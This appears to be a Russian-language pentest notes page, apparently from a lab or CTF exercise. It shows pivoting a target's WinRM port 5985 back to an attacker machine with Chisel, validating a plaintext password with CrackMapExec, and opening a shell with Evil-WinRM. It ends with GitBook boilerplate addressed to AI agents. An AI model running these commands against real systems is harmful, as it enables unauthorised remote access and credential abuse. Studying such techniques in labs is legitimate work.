> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/post-exploitation/pivoting-port-forwarding-5985-winrm.md).

# Pivoting с пробросом портов (5985 WinRM)

## Chisel

{% embed url="<https://github.com/jpillora/chisel/releases>" %}

**Загрузка и подготовка файлов:**/ Мы скачали сжатые **Chisel** файлы, а именно:

* `chisel-linux`
* `chisel-windows.exe`

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz>" %}

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz>" %}

После извлечения файлов перенесите **Chisel** бинарный файл на целевую машину Windows:

```bash
copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe
```

<figure><img src="/files/92078b610d8c5e6a14a13869f4c0c9ff4ad09675" alt=""><figcaption></figcaption></figure>

**Прослушивание на атакующей машине с помощью Chisel:**/ Запустите **Chisel** в режиме сервера на атакующей машине на порту 8888:

```bash
./chisel-linux server -p 8888 -reverse
```

Затем на машине Windows выполните **Chisel** в режиме клиента и перенаправьте порт 5985 обратно на атакующую машину:

```bash
chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985
```

<figure><img src="/files/9bf9f28d4398885ea3bb6f39df9f6e81da606b69" alt=""><figcaption></figcaption></figure>

**Проверка проброшенного порта с помощью `lsof`:**/ Мы уже убедились, что порт 5985 корректно отображается после перенаправления с помощью команды:

<figure><img src="/files/1a3764a58f65e60d059a9fe2b90f363ea4946363" alt=""><figcaption></figcaption></figure>

**Подключение через WinRM:**/ Теперь мы использовали **CrackMapExec** для проверки подключения через **WinRM** на перенаправленном порту 5985:

```bash
crackmapexec winrm 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* У **pwned** маркер подтверждает, что учетные данные могут получить доступ к машине через WinRM.

<figure><img src="/files/4b6900d9eba7d8a475e6fb815e2967571b3ac56f" alt=""><figcaption></figcaption></figure>

**Финальное подключение с Evil-WinRM:**/ Наконец, мы использовали **Evil-WinRM** чтобы получить удаленную оболочку от имени **Chris**:

```bash
evil-winrm -i 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/post-exploitation/pivoting-port-forwarding-5985-winrm.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
